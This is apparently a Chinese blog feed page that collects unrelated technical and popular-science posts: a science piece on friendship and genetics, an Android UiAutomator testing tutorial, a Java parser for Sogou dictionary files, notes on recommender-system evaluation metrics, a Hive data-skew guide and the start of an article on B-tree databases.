为了选择、获得朋友和维持朋友关系,我们需要搜集社会信息。这也是我们喜欢做的。在学会说话之前,婴儿喜欢观察面部甚于其他视觉刺激。我们本能上认为社会信息更有意义,因为社会信息会激发大脑中有关奖励机制的区域。德国柏林大学的达尔·梅西(Dar Meshi)给人们展示他们Facebook账户上的照片,同时用核磁共振仪对他们进行扫描。他发现,实验参与者大脑中的伏隔核(accumben)非常活跃,而这片区域与毒瘾有关。有趣的是,伏隔核最为活跃的人也是在社交媒体上最活跃的用户。

尽管交友活动背后的神经和生物化学活动对每个人来说都一样,但有些人比其他人更让人亲近。这些人可能仅仅是更善于交朋友,但梅西的成果暗示他们可能更愿意从事交友活动,因为这能带给他们更多快乐。让人亲近的人更合群,一部分是他们基因使然。美国加利福尼亚大学圣迭戈分校的詹姆斯·福勒(James Fowler)和美国哈佛大学的尼古拉斯·克里斯塔基斯(Nicholas Christakis)比较了同卵双胞胎(基因完全相同)和异卵双胞胎(平均只有50%的基因相同)的社交网络。他们发现,这些双胞胎在同龄人中各自受欢迎程度的差异,有46%是由基因造成的。

同卵双胞胎受人欢迎的程度,彼此相差不大。图片来源:《新科学家》

即便是交际花也不会和所有人都做朋友。那么在遇到的这么多人中,我们是如何择友的呢?答案初看起来非常简单——我们会与和我们有共同点的人成为朋友,不论他们跟我们是同龄、同性还是同一个行业。这种由“相似”到“相识”的趋向被称为同质性,它也根植与我们的基因当中。

福勒和克里斯塔基斯发现,人们与非血亲的朋友在基因上的相似度,与共有曾曾曾祖父的远房表亲间差不多。我们为何乐意与完全陌生的人协作,这是友情的一个神秘之处。从进化的角度来说,你应当与血亲而不是志趣相投的人协作,因为你们在遗传上的相似会使你间接受益。换句话说,如果他们能将更多的与你共有的基因遗传给后代,你的目的也就相当于达到了。但是,如果碰巧朋友和我们在基因上拥有出乎预料的相似之处,我们也许应该将他们当作“准亲戚”,而非陌生人。(编辑: Steed

编译自 《新科学家》,Friends with benefits

你可能感兴趣

  1. 够聪明才会交朋友
  2. 我被一个朋友喜欢过
  3. 来一个新伙伴,走一个老朋友?
  4. 爱情、友情,两手都要硬!
  5. 哪些朋友邀请时,你会加入社交网络?
  6. 卫报:多交朋友身体棒
  7. 每日邮报:我们的网友比现实朋友多?
  8. 其实你对朋友比对自己更好
  9. 不要相信直觉!那些概率统计的奇妙结论
  10. 朋友,你永远在我的脑海里
  11. 朋友,就是能凑一起说坏话的人?
  12. 你的蓝颜知己在想什么?

Android UiAutomator 自动化测试

$
0
0
一、一个BUG引发的问题

    如果研发过程中有一个BUG:“不断的切换手机语言出现花屏现象”。这个问题我们如何验证呢?我想,最好的方式应该是自动化测试。
    那么,自动化测试可以完成哪些任务呢?
    简单的说,那些重复性的测试工作,都可以交给自动化完成:
        1、设置手机的语言
        2、添加、删除、收藏联系人
        3、拨号、挂断
        4、甚至发送短信、收藏短信

    如果需要上面的功能,那么就开始自动化之旅吧。


二、Android自动化测试简单介绍

    Android自动化测试主要分为Monkeyrunner、Rubotium、UiAutomator、Monkey(在我看来这个不算)等。主要特点:
    1、Monkeyrunner:优点:操作最为简单,可以录制测试脚本,可视化操作;缺点:主要生成坐标的自动化操作,移植性不强,功能最为局限;
    2、Rubotium:主要针对某一个APK进行自动化测试,APK可以有源码,也可以没有源码,功能强大;缺点是针对APK操作,而且需要对APK重新签名(有工具),因此操作相对复杂;
    3、UiAutomator:优点:可以对所有操作进行自动化,操作简单;缺点:Android版本需要高于4.0,无法根据控件ID操作,相对来说功能较为局限,但也够用了;
    4、Monkey:准确来说,这不算是自动化测试,因为其只能产生随机的事件,无法按照既定的步骤操作;
    由上面介绍可以有这样的结论:测试某个APK,可以选择Rubotium;测试过程可能涉及多个APK,选择UiAutomator;一些简单的测试,选择Monkeyrunner;

    本文主要介绍UiAutomator的使用方法。


三、环境搭建

3.1、必备条件:
    1、JDK
    2、SDK(API高于15)
    3、Eclipse(安装ADT插件)
    4、ANT(用于编译生成jar)
3.2、简要步骤:
    1、安装JDK并添加环境变量。
        安装后,一定要通过JAVA_HOME的方式添加环境变量,即先建立JAVA_HOME变量,然后在path中添加%JAVA_HOME%\bin;
    2、添加SDK环境变量。
        一定要先建立ANDROID_HOME,然后把%ANDROID_HOME%\tools添加到path中;
    3、安装Eclipse,并安装ADT插件。
    4、安装ANT工具,并添加环境变量。

        同样一定要先建立%ANT_HOME%变量,然后在path中添加%ANT_HOME%\bin


四、详细操作

4.1、建立工程
    用Eclipse新建Java Project,注意,不是Android Project!
4.2、添加JUnit库

   


4.3、添加Android库
    找到路径Android-sdk\platforms\android-17\下面的android.jar和uiautomator.jar添加进来:
   
    所有库添加完应该是这个样子:

   


4.4、在src中添加包,然后添加class文件

    文件内容为:

[java] view plaincopy

    package com; 
    import com.android.uiautomator.core.UiObject; 
    import com.android.uiautomator.core.UiObjectNotFoundException; 
    import com.android.uiautomator.core.UiScrollable; 
    import com.android.uiautomator.core.UiSelector; 
    import com.android.uiautomator.testrunner.UiAutomatorTestCase; 
     
    public class Runner extends UiAutomatorTestCase { 
     
        public void testDemo() throws UiObjectNotFoundException { 
            getUiDevice().pressHome(); 
            // 进入设置菜单 
            UiObject settingApp = new UiObject(new UiSelector().text("Settings")); 
            settingApp.click(); 
            //休眠3秒 
            try { 
                Thread.sleep(3000); 
            } catch (InterruptedException e1) { 
                // TODO Auto-generated catch block 
                e1.printStackTrace(); 
            } 
            // 进入语言和输入法设置 
            UiScrollable settingItems = new UiScrollable( new UiSelector().scrollable(true)); 
     
            UiObject languageAndInputItem = settingItems.getChildByText( 
                    new UiSelector().text("Language & input"), "Language & input", true); 
            languageAndInputItem.clickAndWaitForNewWindow(); 
             
        } 
    } 

    上面工程路径在e:\workspace\AutoRunner,类全名为com.Runner,至于具体的作用我们现在不去关心。

4.5、找到SDK ID
    CMD进入\Android-sdk\tools\目录下,运行命令:
    android list
    查看API大于15的SDK的ID值,当前是6;
   
4.6、创建build文件
    仍然在\Android-sdk\tools\目录下,运行命令:
    android create uitest-project -n <name> -t <android-sdk-ID> -p <path>
    比如:
    android create uitest-project -n AutoRunner -t 6 -p e:\workspace\AutoRunner
    上面的name就是将来生成的jar包的名字,可以自己定义,android-sdk-ID就是上面看到的6;path是Eclipse新建的工程的路径;运行命令后,将会在工程的根目录下生成build.xml文件。如果没生成,检查上面的步骤。
4.7、编译生成jar
    CMD进入项目的工程目录,然后运行ant build,将使用ant编译生成jar,成功将会提示:
   
    然后会在bin目录下生成jar文件。
4.8、push并运行jar
    adb push <jar文件路径> data/local/tmp
    adb shell uiautomator runtest <jar文件名> -c <工程中的类名,包含包名>
    比如:
    adb push e:\workspace\AutoRunner\bin\AutoRunner.jar data/local/tmp
    adb shell uiautomator runtest AutoRunner.jar -c com.Runner

    然后就能看到手机会按照Runner中的步骤自动执行。具体效果就是,进入设置菜单,然后再进入“语言和输入法”菜单


五、代码分析

    我们从几个最重要的对象来介绍。
5.1、UiDevice对象
    getUiDevice()的方法可以得到一个UiDevice的对象,通过这个对象可以完成一些针对设备的动作:
    click(int x, int y)
    ----在(x,y)表示的像素地方点击
    pressBack()
    pressDelete()
    pressEnter()
    pressHome()
    pressMenu()
    pressSearch()
    ----点击相应的按键
    wakeUp()
    ----当手机处于灭屏状态时,唤醒屏幕,并解锁。
    swipe(startX, startY, endX, endY, steps)
    ----在手机上滑动,从(startX,startY)到(endX,endY)。steps表示滑动的这个距离分为几步完成,数目越少,滑动幅度越大。
    setOrientationLeft()
    setOrientationRight()
    ----将手机向相应方向旋转。
    setOrientationNatural()
    ----将手机旋转状态回归正常。
5.2、UiSelector对象
    这个对象可以理解为一种条件对象,描述的是一种条件,经常配合UiObject使用,可以得到某个(某些)符合条件的控件对象。
    checked(boolean val)
    ----描述一种check状态为val的关系。
    className(className)
    ----描述一种类名为className的对象关系
    clickable(boolean val)
    ----与checked类似,描述clickable状态为val的关系
    description(desc)
    ----不解释
    descriptionContains(desc)
    ----与description类似
    focusable(boolean val)
    ----与checked类似
    index(index)
    ----用当前对象在父对象集中的索引作为描述
    packageName(String name)
    ----用包名作为条件描述
    selected(val)
    ----描述一种选择关系
    text(text)
    ----最为常用的一种关系,用控件上的文本即可找到当前控件,需要注意,所有使用text属性找到的控件,必须是英文的。也就是说,不支持通过中文查找控件!
    textContains(text)
    ----与text类似
    textStartsWith(text)
    ----与text类似
5.3、UiObject对象
    这个对象可以理解为控件的对象。 一般一个UiObject对象可以通过一下形式得到:
    UiObject mItem = new UiObject(new UiSelector().text("English"));
    也就是配合一个UiSelector就可以得到一个控件。
    click()
    ----点击控件
    clickAndWaitForNewWindow()
    ----点击某个控件,并等待窗口刷新
    longClick()
    ----长按
    clearTextField()
    ----清除文本,主要针对编辑框
    getChildCount()
    ----这个方法可以看出,其实UiObject也可以是一个控件的集合
    getPackageName()
    ----得到控件的包名
    getSelector()
    ----得到当前控件的选择条件
    getText()
    ----得到控件上的Text
    isCheckable()
    isChecked()
    isClickable()
    isLongClickable()
    isScrollable()
    isScrollable()
    isSelected()
    ----判断是否具备某个属性
5.4、UiCollection对象
    这个对象可以理解为一个对象的集合。因为UiSelector描述后得到的有可能是多个满足条件的控件集合,因此可以用来生成UiCollection:
    UiCollection mUiCollection = new UiCollection(new UiSelector().text("Settings"));
    getChild(selector)
    ----从集合中再次通过UiSelector选择一个UiObject对象
    getChildByDescription(childPattern, text)
    ----从一个匹配模式中再次以text为条件选择UiObject
    getChildByText(childPattern, text)
    ----与上面类似。
    getChildCount()
    ----得到当前集合中控件的个数
5.5、UiScrollable对象
    UiScrollable可以生成一个滚动动作的对象,其最大的作用就是可以实现滚动的查找某个元素。比如在“设置”菜单中,“语言和输入法”这个菜单比较靠下,需要滚动后才可以看到(找到),因此就用上了UiScrollable:

[java] view plaincopy

    UiScrollable settingItems = new UiScrollable( new UiSelector().scrollable(true)); 
    UiObject languageAndInputItem = settingItems.getChildByText( 
    new UiSelector().text("Language & input"), "Language & input", 
    true); 

    上面的形式就可以在滚动中查找显示有“Language & input”的控件,也就是“语言和输入法”的设置项。

5.6、等待操作和添加Log的方法

    如果是对于一个标准的UiObject对象,可以通过clickAndWaitForNewWindow的方法在点击之后主动等待一段事件,但是如果需要额外的等待一段时间,特别对于getUiDevice().pressHome();这种操作,可能需要很长的事件去为下一步操作获取更多的事件,此时我们可以使用线程的sleep方法去实现:

[java] view plaincopy

    //等待3秒 
    try { 
        Thread.sleep(3000); 
    } catch (InterruptedException e1) { 
        e1.printStackTrace(); 
    } 

    而添加Log的方法也可以通过Java标准的println来实现:
    System.out.println("This used to print some log!!!" + setLanItem.getText());
    以上Log将会在jar被运行时通过CMD窗口打印出来。


六、一个相对完整的测试case

    下面就用一个相对连贯的测试用例来串一下上面的知识点,这个case用例要做的就是进入系统设置菜单,然后选择“语言和输入法”菜单,然后进入“语言设置”菜单,然后在第一项上点击,把当前语言设置为“简体中文”:

[java] view plaincopy

    public void setChineseLan() throws UiObjectNotFoundException { 
        //进入操作前,先用Home键进入待机界面 
        getUiDevice().pressHome(); 
     
     
        //进入“系统设置”菜单。也可以通过点击menu按键来实现 
        UiObject settingApp = new UiObject(new UiSelector().text("Settings")); 
        settingApp.click(); 
     
     
        //等待3秒 
        try { 
            Thread.sleep(3000); 
        } catch (InterruptedException e1) { 
            e1.printStackTrace(); 
        } 
     
     
        //用滚动的方式查找并进入“语言和输入法设置”菜单 
        UiScrollable settingItems = new UiScrollable( 
                new UiSelector().scrollable(true)); 
     
     
        UiObject languageAndInputItem = settingItems.getChildByText( 
                new UiSelector().text("Language & input"), "Language & input", 
                true); 
        languageAndInputItem.clickAndWaitForNewWindow(); 
     
     
        //找到“English”的可点击项(因为当前是英文环境) 
        UiObject setLanItem = new UiObject(new UiSelector().text("English")); 
        setLanItem.clickAndWaitForNewWindow(); 
     
     
        //Log输出 
        System.out.println("setLanItem-->" + setLanItem.getPackageName()); 
     
     
        //由于无法识别中文,因此我们这里使用坐标去选择“简体中文”项 
        getUiDevice().click(350, 250); 
         
        //点击返回键,回到待机界面 
        getUiDevice().pressBack(); 
        getUiDevice().pressBack(); 
        getUiDevice().pressBack(); 



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



JAV程序解析搜狗词库scel文件格式

$
0
0
在做一个电商的网站的初期时,我们常常面临词库的问题,因为我们并没有比较好的词库,这时候呢,我们就可以从网上下一些,别人有的词库,这些词库有淘宝的,有搜狗的,搜狗的分类比较细, 我们可以根据下载与我们行业比较相关的词库,但这些词库一般都是scel格式的,直接使用JAVA解析,是没法解析的,如果遇到这种情况可用散仙下面的这个类,来解析,经测试无乱码现象,解析完整度还不错。

源码如下:

package com.qin.parse.scel;



import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;

public class SougouScelReader {

    public SougouScelMdel read(File file) throws IOException {
        return read(new FileInputStream(file));
    }

    public SougouScelMdel read(URL url) throws IOException {
        return read(url.openStream());
    }

    protected ByteArrayOutputStream output=new ByteArrayOutputStream();

    protected String readString(DataInputStream input,int pos,int[] reads) throws IOException {
        int read=reads[0];
        input.skip(pos-read);
        read=pos;
        output.reset();
        while(true) {
            int c1 = input.read();
            int c2 = input.read();
            read+=2;
            if(c1==0 && c2==0) {
                break;
            } else {
                output.write(c1);
                output.write(c2);
            }
        }
        reads[0]=read;
        return new String(output.toByteArray(),encoding);
    }

    protected static String encoding = "UTF-16LE";

    public SougouScelMdel read(InputStream in) throws IOException {
        SougouScelMdel model = new SougouScelMdel();
        DataInputStream input = new DataInputStream(in);
        int read;
        try {
            byte[] bytes = new byte[4];
            input.readFully(bytes);
            assert (bytes[0] == 0x40 && bytes[1] == 0x15 && bytes[2] == 0 && bytes[3] == 0);
            input.readFully(bytes);
            int flag1 = bytes[0];
            assert (bytes[1] == 0x43 && bytes[2] == 0x53 && bytes[3] == 0x01);
            int[] reads=new int[]{8};
            model.setName(readString(input,0x130,reads));
            model.setType(readString(input,0x338,reads));
            model.setDescription(readString(input,0x540,reads));
            model.setSample(readString(input,0xd40,reads));
            read = reads[0];
            input.skip(0x1540 - read);
            read=0x1540;
            input.readFully(bytes);
            read += 4;
            assert (bytes[0] == (byte) 0x9D && bytes[1] == 0x01 && bytes[2] == 0 && bytes[3] == 0);
            bytes = new byte[128];
            Map<Integer, String> pyMap = new LinkedHashMap<Integer, String>();
            while (true) {
                int mark = readUnsignedShort(input);
                int size = input.readUnsignedByte();
                input.skip(1);
                read += 4;
                assert (size > 0 && (size % 2) == 0);
                input.readFully(bytes, 0, size);
                read += size;
                String py = new String(bytes, 0, size, encoding);
                //System.out.println(py);
                pyMap.put(mark, py);
                if ("zuo".equals(py)) {
                    break;
                }
            }
            if (flag1 == 0x44) {
                input.skip(0x2628 - read);
            } else if (flag1 == 0x45) {
                input.skip(0x26C4 - read);
            } else {
                throw new RuntimeException("出现意外,联系作者");
            }
            StringBuffer buffer = new StringBuffer();
            Map<String, List<String>> wordMap = new LinkedHashMap<String, List<String>>();
            while (true) {
                int size = readUnsignedShort(input);
                if (size < 0) {
                    break;
                }
                int count = readUnsignedShort(input);
                int len = count / 2;
                assert (len * 2 == count);
                buffer.setLength(0);
                for (int i = 0; i < len; i++) {
                    int key = readUnsignedShort(input);
                    buffer.append(pyMap.get(key)).append("'");
                }
                buffer.setLength(buffer.length() - 1);
                String py = buffer.toString();
                List<String> list = wordMap.get(py);
                if (list == null) {
                    list = new ArrayList<String>();
                    wordMap.put(py, list);
                }
                for (int i = 0; i < size; i++) {
                    count = readUnsignedShort(input);
                    if (count > bytes.length) {
                        bytes = new byte[count];
                    }
                    input.readFully(bytes, 0, count);
                    String word = new String(bytes, 0, count, encoding);
                    //接下来12个字节可能是词频或者类似信息
                    input.skip(12);
                    list.add(word);
                }
            }
            //System.out.println(wordMap.size());
            model.setWordMap(wordMap);
            return model;
        } finally {
            in.close();
        }
    }

    protected final int readUnsignedShort(InputStream in) throws IOException {
        int ch1 = in.read();
        int ch2 = in.read();
        if ((ch1 | ch2) < 0) {
            return Integer.MIN_VALUE;
        }
        return (ch2 << 8) + (ch1 << 0);
    }

}

//自行将此类提出来为public class
class SougouScelMdel {

    private Map<String, List<String>> wordMap;

    private String name;
    private String type;
    private String description;
    private String sample;

    public Map<String, List<String>> getWordMap() {
        return wordMap;
    }

    void setWordMap(Map<String, List<String>> wordMap) {
        this.wordMap = wordMap;
    }

    public String getType() {
        return type;
    }

    public void setType(String type) {
        this.type = type;
    }

    public String getDescription() {
        return description;
    }

    public void setDescription(String description) {
        this.description = description;
    }

    public String getSample() {
        return sample;
    }

    public void setSample(String sample) {
        this.sample = sample;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    
    
    
    
}




package com.qin.parse.scel;

import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Paths;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.Map.Entry;

/**
 * 解析sogo词库工具类
 * 
 * 
 * **/
public class ParseSogo {
	
	public static void main(String[] args)throws Exception {
		
   	 sogou("D:\\词库\\dianshang.scel","D:\\词库\\goods1.txt",false);
	}
	/**
	 * 读取scel的词库文件
	 * 生成txt格式的文件
	 * @param inputPath 输入路径
	 * @param outputPath 输出路径
	 * @param isAppend  是否拼接追加词库内容 
	 * true 代表追加,false代表重建
	 * 
	 * **/
   private static void sogou(String inputPath,String outputPath,boolean isAppend) throws IOException{  
       File file=new File(inputPath);  
       if(!isAppend){
       if(Files.exists(Paths.get(outputPath),LinkOption.values())){
    	   System.out.println("存储此文件已经删除");
    	   Files.deleteIfExists(Paths.get(outputPath));
       }
       }
       RandomAccessFile raf=new RandomAccessFile(outputPath, "rw");
       int count=0;
       SougouScelMdel model = new SougouScelReader().read(file);  
       Map<String,List<String>> words = model.getWordMap(); //词<拼音,词>  
       Set<Entry<String,List<String>>> set = words.entrySet();  
       Iterator<Entry<String,List<String>>> iter = set.iterator();  
       while(iter.hasNext()){  
           Entry<String,List<String>> entry = iter.next();  
           List<String> list = entry.getValue();  
           int size = list.size();  
           for(int i = 0; i < size; i++){  
               String word = list.get(i);  
               //System.out.println(word); 
               raf.seek(raf.getFilePointer());
               raf.write((word+"\n").getBytes());//写入txt文件
               count++;
               
               
           }  
       }  
       raf.close();
       System.out.println("生成txt成功!,总计写入: "+count+" 条数据!");
   }  

}


已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



推荐系统的评测方法及指标

$
0
0

首先声明,以下内容是看了项亮的《推荐系统实践》后 写的,内容基本出自该书,只是我自己再归纳总结一下而已(以免喷子又喷)

 

推荐系统中,主要有三种评测推荐效果的实验方法:

1)离线实验。 往往是从日志系统中取得用户的行为数据,然后将数据集分成训练数据和测试数据,比如80%的训练数据和20%的测试数据(还可以交叉验证),然后在训练数 据集上训练用户的兴趣模型,在测试集上进行测试。 优点:只需要一个数据集即可,不需要实际的推荐系统(实际的也不可能直接拿来测试),离线计算,不需要人为干预,能方便快捷的测试大量不同的算法。缺点是 无法获得很多实际推荐系统的指标,比如点击率,比如转化率(谁让没有人为干预呢。。)

 

2)用户调查。 离线实验往往测的最多的就是准确率,但是准确率不等于满意度,所以在算法上线之前,需要用户调查一下,测试一下用户满意度。

 

3)AB测试,通过一定的规则把用户随机分成几组,并对不同组的用户采用不同的推荐算法,这样的话能够比较公平的获得不同算法在实际在线时的一些性能指标。但是缺点是周期比较长,需要长期的实验才能得到可靠的结果。

 

如何判断一个推荐系统好不好,主要的测量指标如下:

1)用户满意度。这是最最关键的指标,推荐系统推荐物品干嘛,就是希望推荐出来的物品能让用户满意。可以有两种方法,一是用户问卷调查,二是在线评 测满意度,比如豆瓣的推荐物品旁边都有满意和不满意的按钮,亚马逊这种可以计算推荐的物品有没有被用户购买等等,一般用点击率,用户停留时间,转化率等指 标来度量。

 

2)预测准确度。如果是类似电影评分机制,则一般计算均方根误差(误差平方和取均值)和平均绝对误差(误差绝对值和取平均)。如果是topN推荐的 话,则主要计算召回率和准确率。准确率就是指我推荐的n个物品中有多少个是对的,其所占的比重。 召回率则是指正确结果中有多少比率的物品出现在了推荐结果中。两者的不同就是前者已推荐结果个数当除数,后者已正确结果个数当除数。

 

3)覆盖率。 就是指推荐出来的结果能不能很好的覆盖所有的商品,是不是所有的商品都有被推荐的机会。最简单的方法就是计算所有被推荐的商品占物品总数的比重,当然这个比较粗糙,更精确一点的可以信息熵和基尼系数来度量。

 

4)多样性。推荐结果中要体现多样性,比如我看电影,我既喜欢看格斗类的电影,同时又喜欢爱装文艺,那么给我的推荐列表中就应该这两个类型的电影都 有,而且得根据我爱好比例来推荐,比如我平时80%是看格斗类的,20%是看文艺类的,那么推荐结果中最好也是这个比例。可以根据物品间的相似度来计算, 一个推荐列表中如果所有物品间的相似度都比较高,那么往往说明都是同一类物品,缺乏多样性。

 

5)新颖性。不能说系统推荐的物品其实我都知道,那这样推荐系统就完全失去了存在的意义,一般都希望推荐一些用户不知道的商品或者没看过没买过的商 品。方法一是取出已经看到过买过的商品,但这还不够,一般会计算推荐商品的平均流行度,因为通常越不热门的物品越会让用户觉得新颖。比如我爱周星驰,那么 推荐《临岐》就很有新颖性,因为大家都不知道这是周星驰出演的

 

6)惊喜度。 这个和新颖度还是有区别的,惊喜度是讲我直觉想不出来为什么会给我推荐这物品,比如电影,但是我看了之后觉得很符合我的胃口,这就是惊喜度。像上面一个例 子,只要我知道是周星驰演的,那可能就没什么惊喜度,因为我知道是因为演员才给我推荐的这部电影。 注:新颖性和惊喜度暂时没有什么可以度量的标准

 

7)信任度。如果用户信任推荐系统,那么往往会增加与推荐系统的互动,从而获得更好的个性化推荐。增加信任的方法往往是提供推荐解释,即为什么推荐 这个商品,做到有理有据。也可以通过类似facebook间的好友关系来增加信任度,一般相比于陌生人的推荐,总会选择好友给的推荐。

 

8)实时性。新闻等一些物品具有很强的实时性,一般得在具有有效性的时候进行推荐,必须考虑推荐系统处理物品冷启动的能力。

 

9)健壮性。要能防止被攻击,例如有些商家为了提高自己的排名,注册很多假的帐号,给与自己的商品高分这样类似的情况,要能防止。

 

10)商业目标。 一般推荐系统都是为了更好的盈利。。。。。当然这个比较难测。。。

 

原文: http://blog.csdn.net/wangyuquanliuli/article/details/36684817

【转载】Hive 数据倾斜总结

$
0
0

转载:http://www.tbdata.org/archives/2109

几个比较特殊的点都提到了,大家可以作为参考。

 

在做Shuffle阶段的优化过程中,遇到了数据倾斜的问题,造成了对一些情况下优化效果不明显。主要是因为在Job完成后的所得到的Counters是整个Job的总和,优化是基于这些Counters得出的平均值,而由于数据倾斜的原因造成map处理数据量的差异过大,使得这些平均值能代表的价值降低。Hive的执行是分阶段的,map处理数据量的差异取决于上一个stage的reduce输出,所以如何将数据均匀的分配到各个reduce中,就是解决数据倾斜的根本所在。规避错误来更好的运行比解决错误更高效。在查看了一些资料后,总结如下。

1数据倾斜的原因
1.1操作:

关键词

情形

后果

Join

其中一个表较小,

但是key集中

分发到某一个或几个Reduce上的数据远高于平均值

大表与大表,但是分桶的判断字段0值或空值过多

这些空值都由一个reduce处理,灰常慢

group by

group by 维度过小,

某值的数量过多

处理某值的reduce灰常耗时

Count Distinct

某特殊值过多

处理此特殊值的reduce耗时

1.2原因:

1)、key分布不均匀

2)、业务数据本身的特性

3)、建表时考虑不周

4)、某些SQL语句本身就有数据倾斜

1.3表现:

任务进度长时间维持在99%(或100%),查看任务监控页面,发现只有少量(1个或几个)reduce子任务未完成。因为其处理的数据量和其他reduce差异过大。

单一reduce的记录数与平均记录数差异过大,通常可能达到3倍甚至更多。 最长时长远大于平均时长。

2数据倾斜的解决方案

2.1参数调节:

hive.map.aggr = true

Map 端部分聚合,相当于Combiner

hive.groupby.skewindata=true

有数据倾斜的时候进行负载均衡,当选项设定为 true,生成的查询计划会有两个 MR Job。第一个 MR Job 中,Map 的输出结果集合会随机分布到 Reduce 中,每个 Reduce 做部分聚合操作,并输出结果,这样处理的结果是相同的 Group By Key 有可能被分发到不同的 Reduce 中,从而达到负载均衡的目的;第二个 MR Job 再根据预处理的数据结果按照 Group By Key 分布到 Reduce 中(这个过程可以保证相同的 Group By Key 被分布到同一个 Reduce 中),最后完成最终的聚合操作。

2.2 SQL语句调节:

如何Join:

关于驱动表的选取,选用join key分布最均匀的表作为驱动表

做好列裁剪和filter操作,以达到两表做join的时候,数据量相对变小的效果。

大小表Join:

使用map join让小的维度表(1000条以下的记录条数) 先进内存。在map端完成reduce.

大表Join大表:

把空值的key变成一个字符串加上随机数,把倾斜的数据分到不同的reduce上,由于null值关联不上,处理后并不影响最终结果。

count distinct大量相同特殊值

count distinct时,将值为空的情况单独处理,如果是计算count distinct,可以不用处理,直接过滤,在最后结果中加1。如果还有其他计算,需要进行group by,可以先将值为空的记录单独处理,再和其他计算结果进行union。

group by维度过小:

采用sum() group by的方式来替换count(distinct)完成计算。

特殊情况特殊处理:

在业务逻辑优化效果的不大情况下,有些时候是可以将倾斜的数据单独拿出来处理。最后union回去。

3典型的业务场景

3.1空值产生的数据倾斜

场景:如日志中,常会有信息丢失的问题,比如日志中的 user_id,如果取其中的 user_id 和 用户表中的user_id 关联,会碰到数据倾斜的问题。

解决方法1: user_id为空的不参与关联(红色字体为修改后)

select * from log a
  join users b
  on a.user_id is not null
  and a.user_id = b.user_id
union all
select * from log a
  where a.user_id is null;

 

解决方法2 :赋与空值分新的key值

select *
  from log a
  left outer join users b
  on case when a.user_id is null then concat(‘hive’,rand() ) else a.user_id end = b.user_id;

 

结论:方法2比方法1效率更好,不但io少了,而且作业数也少了。解决方法1中 log读取两次,jobs是2。解决方法2 job数是1 。这个优化适合无效 id (比如 -99 , ’’, null 等) 产生的倾斜问题。把空值的 key 变成一个字符串加上随机数,就能把倾斜的数据分到不同的reduce上 ,解决数据倾斜问题。

3.2不同数据类型关联产生数据倾斜

场景:用户表中user_id字段为int,log表中user_id字段既有string类型也有int类型。当按照user_id进行两个表的Join操作时,默认的Hash操作会按int型的id来进行分配,这样会导致所有string类型id的记录都分配到一个Reducer中。

解决方法:把数字类型转换成字符串类型

select * from users a
  left outer join logs b
  on a.usr_id = cast(b.user_id as string)

 

3.3小表不小不大,怎么用 map join 解决倾斜问题

使用 map join 解决小表(记录数少)关联大表的数据倾斜问题,这个方法使用的频率非常高,但如果小表很大,大到map join会出现bug或异常,这时就需要特别的处理。  以下例子:

select * from log a
  left outer join users b
  on a.user_id = b.user_id;

 

users 表有 600w+ 的记录,把 users 分发到所有的 map 上也是个不小的开销,而且 map join 不支持这么大的小表。如果用普通的 join,又会碰到数据倾斜的问题。

解决方法:

select /*+mapjoin(x)*/* from log a
  left outer join (
    select  /*+mapjoin(c)*/d.*
      from ( select distinct user_id from log ) c
      join users d
      on c.user_id = d.user_id
    ) x
  on a.user_id = b.user_id;

 

假如,log里user_id有上百万个,这就又回到原来map join问题。所幸,每日的会员uv不会太多,有交易的会员不会太多,有点击的会员不会太多,有佣金的会员不会太多等等。所以这个方法能解决很多场景下的数据倾斜问题。

4总结

使map的输出数据更均匀的分布到reduce中去,是我们的最终目标。由于Hash算法的局限性,按key Hash会或多或少的造成数据倾斜。大量经验表明数据倾斜的原因是人为的建表疏忽或业务逻辑可以规避的。在此给出较为通用的步骤:

1、采样log表,哪些user_id比较倾斜,得到一个结果表tmp1。由于对计算框架来说,所有的数据过来,他都是不知道数据分布情况的,所以采样是并不可少的。

2、数据的分布符合社会学统计规则,贫富不均。倾斜的key不会太多,就像一个社会的富人不多,奇特的人不多一样。所以tmp1记录数会很少。把tmp1和users做map join生成tmp2,把tmp2读到distribute file cache。这是一个map过程。

3、map读入users和log,假如记录来自log,则检查user_id是否在tmp2里,如果是,输出到本地文件a,否则生成<user_id,value>的key,value对,假如记录来自member,生成<user_id,value>的key,value对,进入reduce阶段。

4、最终把a文件,把Stage3 reduce阶段输出的文件合并起写到hdfs。

 

如果确认业务需要这样倾斜的逻辑,考虑以下的优化方案:

1、对于join,在判断小表不大于1G的情况下,使用map join

2、对于group by或distinct,设定 hive.groupby.skewindata=true

3、尽量使用上述的SQL语句调节进行优化



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



数据库的最简单实现

$
0
0

所有应用软件之中,数据库可能是最复杂的。

MySQL的手册有3000多页,PostgreSQL的手册有2000多页,Oracle的手册更是比它们相加还要厚。

但是,自己写一个最简单的数据库,做起来并不难。Reddit上面有一个 帖子,只用了几百个字,就把原理讲清楚了。下面是我根据这个帖子整理的内容。

一、数据以文本形式保存

第一步,就是将所要保存的数据,写入文本文件。这个文本文件就是你的数据库。

为了方便读取,数据必须分成记录,每一条记录的长度规定为等长。比如,假定每条记录的长度是800字节,那么第5条记录的开始位置就在3200字节。

大多数时候,我们不知道某一条记录在第几个位置,只知道 主键(primary key)的值。这时为了读取数据,可以一条条比对记录。但是这样做效率太低,实际应用中,数据库往往采用 B树(B-tree)格式储存数据。

二、什么是B树?

要理解B树,必须从 二叉查找树(Binary search tree)讲起。

二叉查找树

二叉查找树是一种查找效率非常高的数据结构,它有三个特点。

(1)每个节点最多只有两个子树。

(2)左子树都为小于父节点的值,右子树都为大于父节点的值。

(3)在n个节点中找到目标值,一般只需要log(n)次比较。

二叉查找树的结构不适合数据库,因为它的查找效率与层数相关。越处在下层的数据,就需要越多次比较。极端情况下,n个数据需要n次比较才能找到目标值。对于数据库来说,每进入一层,就要从硬盘读取一次数据,这非常致命,因为硬盘的读取时间远远大于数据处理时间,数据库读取硬盘的次数越少越好。

